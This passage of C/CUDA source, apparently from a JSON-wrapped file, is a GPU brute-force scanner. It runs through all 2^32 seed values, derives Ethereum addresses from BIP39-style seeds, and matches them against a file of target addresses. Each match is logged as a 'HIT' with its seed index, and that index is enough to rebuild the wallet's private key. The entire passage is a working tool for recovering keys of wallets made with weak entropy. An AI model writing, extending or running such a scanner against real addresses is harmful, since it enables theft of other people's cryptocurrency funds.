return -1;\n memcpy(cc, I + 32, 32);\n return 0;\n}\nstatic const uint64_t KECCAKF_RNDC[24] = {\n 0x0000000000000001ULL, 0x0000000000008082ULL, 0x800000000000808aULL, 0x8000000080008000ULL,\n 0x000000000000808bULL, 0x0000000080000001ULL, 0x8000000080008081ULL, 0x8000000000008009ULL,\n 0x000000000000008aULL, 0x0000000000000088ULL, 0x0000000080008009ULL, 0x000000008000000aULL,\n 0x000000008000808bULL, 0x800000000000008bULL, 0x8000000000008089ULL, 0x8000000000008003ULL,\n 0x8000000000008002ULL, 0x8000000000000080ULL, 0x000000000000800aULL, 0x800000008000000aULL,\n 0x8000000080008081ULL, 0x8000000000008080ULL, 0x0000000080000001ULL, 0x8000000080008008ULL};\nstatic const int KECCAKF_ROTC[24] = {1, 3, 6, 10, 15, 21, 28, 36, 45, 55, 2, 14,\n 27, 41, 56, 8, 25, 43, 62, 18, 39, 61, 20, 44};\nstatic const int KECCAKF_PILN[24] = {10, 7, 11, 17, 18, 3, 5, 16, 8, 21, 24, 4,\n 15, 23, 19, 13, 12, 2, 20, 14, 22, 9, 6, 1};\nstatic void keccakf(uint64_t st[25]) {\n for (int round = 0; round < 24; round++) {\n uint64_t bc[5];\n for (int i = 0; i < 5; i++) bc[i] = st[i] ^ st[i + 5] ^ st[i + 10] ^ st[i + 15] ^ st[i + 20];\n for (int i = 0; i < 5; i++) {\n uint64_t t = bc[(i + 4) % 5] ^ ((bc[(i + 1) % 5] << 1) | (bc[(i + 1) % 5] >> 63));\n for (int j = 0; j < 25; j += 5) st[j + i] ^= t;\n }\n uint64_t t = st[1];\n for (int i = 0; i < 24; i++) {\n int j = KECCAKF_PILN[i];\n bc[0] = st[j];\n st[j] = (t << KECCAKF_ROTC[i]) | (t >> (64 - KECCAKF_ROTC[i]));\n t = bc[0];\n }\n for (int j = 0; j < 25; j += 5) {\n uint64_t tmp[5];\n for (int i = 0; i < 5; i++) tmp[i] = st[j + i];\n for (int i = 0; i < 5; i++) st[j + i] ^= (~tmp[(i + 1) % 5]) & tmp[(i + 2) % 5];\n }\n st[0] ^= KECCAKF_RNDC[round];\n }\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n uint64_t st[25];\n memset(st, 0, sizeof(st));\n uint8_t *s = (uint8_t *)st;\n const size_t rsiz = 136;\n while (inlen >= rsiz) {\n for (size_t i = 0; i < rsiz; i++) s[i] ^= in[i];\n keccakf(st);\n in += rsiz;\n inlen -= rsiz;\n }\n for (size_t i = 0; i < inlen; i++) s[i] ^= in[i];\n s[inlen] ^= 0x01;\n s[rsiz - 1] ^= 0x80;\n keccakf(st);\n memcpy(out, st, 32);\n}\nstatic int eth_from_seed64(EcTls *e, const uint8_t seed[64], uint8_t addr[20]) {\n uint8_t I[64], key[32], cc[32], uncomp[65], h[32];\n if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n if (ckd_priv(e, key, cc, 0x8000002cu) != 0) return -1;\n if (ckd_priv(e, key, cc, 0x8000003cu) != 0) return -1;\n if (ckd_priv(e, key, cc, 0x80000000u) != 0) return -1;\n if (ckd_priv(e, key, cc, 0) != 0) return -1;\n if (ckd_priv(e, key, cc, 0) != 0) return -1;\n if (priv_to_pub(e, key, uncomp, 0) != 0) return -1;\n keccak256(uncomp + 1, 64, h);\n memcpy(addr, h + 12, 20);\n return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n return g_ntargets && bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n static const char *h = \"0123456789abcdef\";\n out[0] = '0'; out[1] = 'x';\n for (int i = 0; i < 20; i++) { out[2 + 2 * i] = h[a[i] >> 4]; out[3 + 2 * i] = h[a[i] & 0xf]; }\n out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic volatile uint64_t g_done = 0;\nstatic volatile uint64_t g_hits = 0;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n int fd = open(path, O_RDONLY);\n if (fd < 0) return -1;\n struct stat st;\n if (fstat(fd, &st) || st.st_size % 20) { close(fd); return -1; }\n g_ntargets = (size_t)st.st_size / 20;\n g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n uint8_t kh[32];\n keccak256((const uint8_t *)\"\", 0, kh);\n char khex[65];\n static const char *hh = \"0123456789abcdef\";\n for (int i = 0; i < 32; i++) { khex[2 * i] = hh[kh[i] >> 4]; khex[2 * i + 1] = hh[kh[i] & 0xf]; }\n khex[64] = 0;\n if (strcmp(khex, \"c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470\") != 0) {\n printf(\"host keccak empty FAIL %s\\n\", khex);\n return 1;\n }\n printf(\"host keccak empty PASS\\n\");\n const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n uint8_t seed[64], addr[20];\n if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n return 1;\n EcTls e;\n if (ec_tls_init(&e) != 0) return 1;\n int rc = eth_from_seed64(&e, seed, addr);\n ec_tls_free(&e);\n char hx[43];\n hex20(addr, hx);\n int ok = rc == 0 && strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n CHECK_CUDA(cudaSetDevice(dev));\n CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n uint8_t *d_out;\n CHECK_CUDA(cudaMalloc(&d_out, 64));\n k_derive_seed64<<<1, 1>>>(0xc92b023d, 1, d_out);\n CHECK_CUDA(cudaDeviceSynchronize());\n uint8_t got[64];\n CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n cudaFree(d_out);\n const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n uint8_t exp[64];\n PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n int ok = memcmp(got, exp, 64) == 0;\n printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n if (!ok) {\n printf(\" exp \"); for (int i = 0; i < 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n printf(\" got \"); for (int i = 0; i < 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n }\n EcTls e;\n if (ec_tls_init(&e) != 0) return 1;\n uint8_t addr[20];\n eth_from_seed64(&e, got, addr);\n ec_tls_free(&e);\n char hx[43];\n hex20(addr, hx);\n int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n printf(\"gpu->eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n return (ok && aok) ? 0 : 1;\n}\n\nstatic void process_batch(uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n {\n EcTls e;\n if (ec_tls_init(&e) != 0) {\n fprintf(stderr, \"ec_tls_init fail\\n\");\n } else {\n#pragma omp for schedule(static)\n for (int i = 0; i < n; i++) {\n uint8_t addr[20];\n if (eth_from_seed64(&e, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n char hx[43];\n hex20(addr, hx);\n pthread_mutex_lock(&hits_mu);\n fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n fflush(hits_fp);\n pthread_mutex_unlock(&hits_mu);\n __sync_fetch_and_add(&g_hits, 1);\n fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n }\n }\n }\n ec_tls_free(&e);\n }\n#else\n EcTls e;\n if (ec_tls_init(&e) != 0) return;\n for (int i = 0; i < n; i++) {\n uint8_t addr[20];\n if (eth_from_seed64(&e, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n char hx[43];\n hex20(addr, hx);\n fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n fflush(hits_fp);\n __sync_fetch_and_add(&g_hits, 1);\n fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n }\n }\n ec_tls_free(&e);\n#endif\n __sync_fetch_and_add(&g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n const char *tpath = \"targets.bin\";\n const char *hpath = \"hits.jsonl\";\n uint64_t start = 0, count = 1ULL << 32;\n int threads = 256;\n int gpu_id = 0;\n if (argc >= 2 && !strcmp(argv[1], \"selftest\")) {\n if (host_selftest_cpu()) return 1;\n int ndev = 0;\n CHECK_CUDA(cudaGetDeviceCount(&ndev));\n printf(\"cuda devices=%d\\n\", ndev);\n if (ndev < 1) return 1;\n return gpu_selftest(0);\n }\n for (int i = 1; i < argc; i++) {\n if (!strcmp(argv[i], \"--targets\") && i + 1 < argc) tpath = argv[++i];\n else if (!strcmp(argv[i], \"--hits\") && i + 1 < argc) hpath = argv[++i];\n else if (!strcmp(argv[i], \"--start\") && i + 1 < argc) start = strtoull(argv[++i], NULL, 0);\n else if (!strcmp(argv[i], \"--count\") && i + 1 < argc) count = strtoull(argv[++i], NULL, 0);\n else if (!strcmp(argv[i], \"--threads\") && i + 1 < argc) threads = atoi(argv[++i]);\n else if (!strcmp(argv[i], \"--gpu\") && i + 1 < argc) gpu_id = atoi(argv[++i]);\n }\n if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n hits_fp = fopen(hpath, \"a\");\n if (!hits_fp) { perror(\"hits\"); return 1; }\n if (host_selftest_cpu() || gpu_selftest(gpu_id)) {\n fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n return 1;\n }\n int ndev = 0;\n CHECK_CUDA(cudaGetDeviceCount(&ndev));\n if (ndev < 1) return 1;\n if (gpu_id < 0 || gpu_id >= ndev) {\n fprintf(stderr, \"bad --gpu %d (have %d)\\n\", gpu_id, ndev);\n return 1;\n }\n printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpu=%d/%d targets=%zu\\n\", start, count, gpu_id, ndev, g_ntargets);\n fflush(stdout);\n\n const int BATCH = 1 << 18;\n#ifdef _OPENMP\n g_inner_threads = threads;\n if (g_inner_threads < 8) g_inner_threads = 8;\n printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n uint64_t done_at = start + count;\n if (done_at > (1ULL << 32)) done_at = 1ULL << 32;\n struct timespec t0;\n clock_gettime(CLOCK_MONOTONIC, &t0);\n\n {\n CHECK_CUDA(cudaSetDevice(gpu_id));\n CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n uint8_t *d_seed = NULL;\n CHECK_CUDA(cudaMalloc(&d_seed, (size_t)BATCH * 64));\n uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n for (uint64_t s = start; s < done_at; ) {\n int n = BATCH;\n if ((uint64_t)n > done_at - s) n = (int)(done_at - s);\n int block = 128;\n int grid = (n + block - 1) / block;\n k_derive_seed64<<>>((uint32_t)s, n, d_seed);\n CHECK_CUDA(cudaDeviceSynchronize());\n CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n process_batch((uint32_t)s, n, h_seed);\n {\n struct timespec t1;\n clock_gettime(CLOCK_MONOTONIC, &t1);\n double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n uint64_t done = __sync_add_and_fetch(&g_done, 0);\n uint64_t hits = __sync_add_and_fetch(&g_hits, 0);\n double r = done / (sec > 0.001 ? sec : 0.001);\n double eta = r > 0 ? (count - done) / r : 0;\n fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n done, count, 100.0 * done / (double)count, r, hits, eta);\n }\n s += (uint64_t)n;\n }\n free(h_seed);\n cudaFree(d_seed);\n }\n printf(\"DONE hits=%\" PRIu64 \"\\n\", (uint64_t)__sync_add_and_fetch(&g_hits, 0));\n fclose(hits_fp);\n return 0;\n}\n", "creation_timestamp": "2026-09-04T01:54:41.740068Z"} 2026-09-04T01:54:41.740068+00:00